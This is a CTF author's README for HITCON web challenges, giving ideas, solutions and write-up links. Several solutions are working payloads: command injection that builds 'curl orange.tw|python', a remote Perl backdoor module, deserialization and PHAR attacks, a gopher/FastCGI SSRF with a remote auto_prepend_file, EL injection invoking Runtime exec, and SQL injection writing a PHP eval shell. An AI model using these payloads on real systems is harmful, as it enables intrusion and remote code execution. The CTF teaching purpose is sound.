My CTF Web Challenges
Hi, I am Orange. This is the repo of CTF challenges I made. It contains challenge's source code, writeup and some idea explanation.
I am a CTFer and Bug Bounty Hunter, loving web hacking and penetration testing. So you will see these challs are all about web. If you have any question about these challs, you can find me in following ways
Hope you like it :)
P.s. BTW, the series of Babyfirst
are my favorite in all of these challenges. There are open questions to all and there are lots of creative solutions. If you don't have time to see all, please look the them at least!
Table of Content
BabyFirst Revenge
Difficulty: ★☆
Sovled: 95 / 1541
Tag: WhiteBox, PHP, Command Injection
Idea
- Command Injection, but only in 5 bytes
Source Code
Solution
# generate `ls -t>g` to file "_"
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
# generate `curl orange.tw|python` to file "g"
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# got shell
http://host/?cmd=sh g
You can check the exploit.py for the detail! And there are also lots of creative solutions, you can check the write ups below.
Write Ups
- HITCON CTF 2017-BabyFirst Revenge-writeup
- HITCON CTF 2017-BabyFirst Revenge-writeup (Via curl)
- HITCON 2017 CTF BabyFirst Revenge
- HITCON CTF 2017 - BabyFirst Revenge (172 pts.)
- Hitcon CTF 2017 - Baby Revenge
- Hitcon CTF 2017 Quals: Baby First Revenge (web 172) (Via xxd)
- HITCON CTF 2017 BabyFirst Revenge & v2 writeup
- BabyFirst-Revenge-HITCOIN-2017-QUALS by @n4p5ter
BabyFirst Revenge v2
Difficulty: ★★★★
Sovled: 8 / 1541
Tag: WhiteBox, PHP, Command Injection
Idea
- Command Injection, but only in 4 bytes
Source Code
Solution
- generate
g> ht- sl
to filev
- reverse file
v
to filex
- generate
curl orange.tw|python;
- execute
x
,ls -th >g
- execute
g
You can check exploit.py for the detail!
Write Ups
- Baby First Revenge v2 (Via vim) by @bennofs
- [python] baby-exp.py
- How to solve a CTF challenge for $20 - HITCON 2017 BabyFirst Revenge v2
- HITCON CTF 2017 BabyFirst Revenge & v2 writeup
SSRFme?
Difficulty: ★★☆
Sovled: 20 / 1541
Tag: WhiteBox, Perl, PATH Pollution
Idea
- CVE-2016-1238 (But the latest version of Ubuntu 17.04 in AWS is still vulnerable)
- Perl lookup current directory in module importing
- Perl module URI/lib/URI.pm#L136 will
eval
if there is a unknown scheme
Source Code
$ sudo apt install libwww-perl
Solution
# write evil URI module to current directory
$ curl http://host/?filename=URI/orange.pm&url=http://orange.tw/w/backdoor.pl
# eval evil module `orange`
$ curl http://host/?filename=xxx&url=orange://orange.tw
Write Ups
SQL so Hard
Difficulty: ★★★
Sovled: 10 / 1541
Tag: WhiteBox, MySQL, PostgreSQL, SQL Injection, Code Injection
Idea
- MySQL
max_allowed_packet
dropped large size SQL sentence - Node-Postgres - code execution vulnerability
- Exploit the RCE in SQL
UPDATE
syntax
Source Code
Solution
Write Ups
Baby^H Master PHP 2017
Difficulty: ★★★★☆
Sovled: 0 / 1541
Tag: WhiteBox, PHP, Serialization, Apache Prefock
Idea
- PHP do the de-serialization on
PHAR
parsing - PHP assigned a predictable function name
\x00lambda_%d
to an anonymous function - Break shared VARIABLE state in Apache Pre-fork mode
Source Code
Solution
# get a cookie
$ curl http://host/ --cookie-jar cookie
# download .phar file from http://orange.tw/avatar.gif
$ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/'
# force apache to fork new process
$ python fork.py &
# get flag
$ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"
Write Ups
papapa
Difficulty: ★
Sovled: 71 / 1024
Tag: BlackBox, SSL, Pentesting
Idea
- Leak the internal hostname from SSL certificate
Source Code
Solution
$ openssl s_client -showcerts -connect 1.2.3.4:443 < /dev/null | openssl x509 -text | grep -A 1 "Subject Alternativer Name"
...
depth=0 C = TW, ST = Some-State, O = Internet Widgits Pty Ltd, CN = very-secret-area-for-ctf.orange.tw, emailAddress = [email protected]
...
# get flag
$ curl -k -H "host: very-secret-area-for-ctf.orange.tw" https://1.2.3.4/
Write Ups
- HITCON 2016
- HITCON CTF 2016: %%% (Web) Write-up
- [HITCON 2016] [WEB 100 - %%%] WRITE UP
- hitcon2016 web writeup
Leaking
Difficulty: ★★
Sovled: 43 / 1024
Tag: WhiteBox, JavaScript, NodeJS
Idea
- Break JavaScript Sandbox
- Use NodeJS
Buffer(int)
to steal uninitialized memory - Node.js Buffer knows everything
Source Code
Solution
$ while true; do curl 'http://1.2.3.4/?data=Buffer(1e4)' | grep -a hitcon; done;
Write Ups
BabyTrick
Difficulty: ★★★
Sovled: 24 / 1024
Tag: WhiteBox, PHP, MySQL, SQL Injection, Unserialize
Idea
- Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization
- SugarCRM v6.5.23 PHP反序列化對象注入漏洞
- MySQL UTF-8 collation -
SELECT 'Ä'='a'
is True
Source Code
Solution
# get password
curl http://1.2.3.4/
?data=O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:39:"'union%20select%201,2,password%20from%20users%23";}}
# get flag
curl http://1.2.3.4/
?data=O:6:"HITCON":2:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:7:"orÄnge";i:1;s:13:"babytrick1234";}}
Write Ups
Angry Boy
Difficulty: ★★☆
Sovled: 43 / 1024
Tag: GrayBox, Java
Idea
new String(new byte[] {1, -1, 1, -1})
will output01EFBFBD01EFBFBD
, not01FF01FF
- When ‘EFBFBD’ And Friends Come Knocking: Observations Of Byte Array To String Conversions
Source Code
Solution
Write Ups
Angry Seam
Difficulty: ★★★★
Sovled: 4 / 1024
Tag: GrayBox, Java, Seam Framework, CSS RPO, EL Injection, Java Deserialization
Idea
- CSS Relative Path Overwrite
- Built-in redirection parameter
actionOutcome
- RPO Gadgets
- CVE-2010-1871: JBoss Seam Framework remote code execution
Source Code
Solution
P.s. I made this challenge because once when I try to review the code of Seam Framework, I found some 0-days and I think it must have more. So I throw out the brick to attract a jade. And the result is more than I expected :P
Intended solution
-
Register an account
username: `AAAAAA` password: `AAAAAA` realname: `{/*';*/}%0a@import'http://orange.tw/?`
-
Report URL
http://1.2.3.4:8080/angryseam/profile.seam?actionOutcom>e=/profile.seam?username%3dAAAAAA
Unintended solution
- Register an account
- Update description to
- Login and access
/?x=#{expressions.instance().createValueExpression(request.getHeader('cmd')).getValue()}
GET /angryseam/template.seam?actionMethod=template.xhtml:util.escape(sessionScope['user'].getDescription()) HTTP/1.1
host: 1.2.3.4
cmd: #{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),request.getHeader('ccc'))}
ccc: ls -alh
...
Unintended solution
- CVE-2013-2165 Java deserialization vulnerability
Unintended solution
- SESSION manipulation... seam SUCKS
Write Ups
Babyfirst
Sovled: 33 / 969
Difficulty: ★★
Tag: WhiteBox, PHP, Command Injection
Idea
- Use
NewLine
to bypass regular expression check - Command injection only with alphanumeric characters
Source Code
<?php
highlight_file(__FILE__);
$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit();
}
exec("/bin/orange " . implode(" ", $args));
?>
Solution
http://localhost/
?args[0]=x%0a
&args[1]=mkdir
&args[2]=orange%0a
&args[3]=cd
&args[4]=orange%0a
&args[5]=wget
&args[6]=846465263%0a
http://localhost/
?args[0]=x%0a
&args[1]=tar
&args[2]=cvf
&args[3]=aa
&args[4]=orange%0a
&args[5]=php
&args[6]=aa
And there are also lots of creative solutions, you can check the write ups below.
Write Ups
- babyfirst (web 100)
- HITCON CTF 2015 Web 100 Web 300 Writeup
- HITCON 2015 Quals: Babyexploit
- Babyfirst (web, 100p, ?? solves)
nanana
Difficulty: ★★★
Sovled: 18 / 969
Tag: GrayBox, C, PWN
Idea
- Pwn without library
- Format String without output
- Bypass Stack Guard by using overflow
ARGV[1]
Source Code
Solution
Write Ups
- nanana (pwn, web 200)
- HITCON 2015 Quals: Nanana
- Pwning (sometimes) with style - Dragons’ notes on CTFs
Giraffe's Coffee
Difficulty: ★★★☆
Sovled: 16 / 969
Tag: WhiteBox, PHP
Idea
- Break PHP PRNG
- Break shared PRNG STATE in Apache Prefork mode
Source Code
Solution
TBD
Write Ups
- HITCON CTF 2015 Web 100 Web 300 Writeup
- Giraffe's Coffee - Web 300 Problem - Writeup by Robert Xiao (@nneonneo)
- HITCON 2015 WEB 300
lalala
Difficulty: ★★★☆
Sovled: 2 / 969
Tag: BlackBox, PHP, SSRF
Idea
- Bypass SSRF restrictiton with 302 redirect
- Exploit FASTCGI protocol by using GOPHER
Source Code
Solution
<?php
header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%86%00%00%0E%03REQUEST_METHODGET%0F%0ASCRIPT_FILENAME/www/a.php%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%09%26PHP_VALUEauto_prepend_file%20%3D%20http%3A//orange.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );
Write Ups
Use-After-FLEE
Solved: 1 / 969
Difficulty: ★★★★☆
Tag: WhiteBox, PHP, UAF, PWN
Idea
- Bypass open_basedir
- Bypass disable_functions
- PHP use-after-free exploit writing
- Bypass full protection (DEP / ASLR / PIE / FULL RELRO)
- Yet Another Use After Free Vulnerability in unserialize() with SplDoublyLinkedList
Source Code
Solution
TBD
Write Ups
PUSHIN CAT
Solved: 8 / 1020
Difficulty: ★★
Platform: BlackBox, PHP, H2, SQL Injection
Idea
- SQL Injection on H2 Database
- Execute Code by using H2 SQL Injection
Source Code
Solution
TBD
Write Ups
- HITCON CTF 2014: PUSHIN CAT
- HITCON CTF 2014 - PUSHIN CAT (H2 DB Insert SQL Injection)
- HITCON CTF 2014
PY4H4SHER
Solved: 30 / 1020
Difficulty: ★★☆
Tag: WhiteBox, Python, Collision, HPP
Idea
- Python CGI HTTP Pollution
- MySQL old_password hash collisions
- PBKDF2+HMAC hash collisions explained
Source Code
Solution
TBD
Write Ups
LEENODE
Solved: 2 / 1020
Difficulty: ★★★
Tag: BlackBox, ColdFusion, Apache
Idea
- Multilayered architecture vulnerability
- Double Encoding
Source Code
Solution
# get password
$ curl http://1.2.3.4/admin%252f%252ehtpasswd%2500.cfm
# get flag
$ curl http://1.2.3.4/admin/thefl4g.txt
Write Ups
BlackBox
Solved: 0 / 12
Difficulty: ★★★★
Tag: GrayBox, PHP, JAVA, mod_jk, H2, SQL Injection, WAF
Idea
- Multilayered architecture vulnerability
- Default and up to date mod_jk leads to directory travesal
- Bypass WAF by incorrect usage of BASE64 and URLENCODE
- SQL Injection on H2 Database
- Execute Code by using H2 SQL Injection
Source Code
Solution
-
Get source code
http://1.2.3.4/login/..;/
-
Review code and find a way to bypass WAF
$ curl "http://1.2.3.4/news/?id=1~~~~' and 1=2 union select null,null,version(),null--" $ curl "http://1.2.3.4/news/?id=1~~~~' and 1=2 union select null,null,file_read('/etc/apache2/sites-enabled/000-default.conf'),null--"
-
Write shell
$ curl "http://1.2.3.4/news/?id=1~~~~' and 1=2 union select null,null,file_write('3c3f706870206576616c28245f504f53545b6363635d293b3f3e', '/www/write_shell_here_=P/.a.php'),null--" $ curl "http://1.2.3.4/write_shell_here_=P/.a.php" -d 'phpinfo();'
Write Ups
TBD
SQLPWN
Solved: 0 / ??
Difficulty: ★★★
Tag: WhiteBox, PHP, SQL Injection, LFI, Race Condition
Idea
- One-byte off SQL Injection
- Race Condition
- Local file inclusion with PHP session
Source Code
Solution
-
Run exploit.py to win race condition
-
Login and SQL Injection
$ curl http://1.2.3.4/sqlpwn.php -d 'title=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\¬e=, concat(0x3a3a3a3a3a3a,(select pass from users where name=0x6f72616e6765)))#'
-
Local file inclusion with session
$ curl http://1.2.3.4/sqlpwn.php?mode=admin&boom=../../../../../../var/lib/php5/sess_243220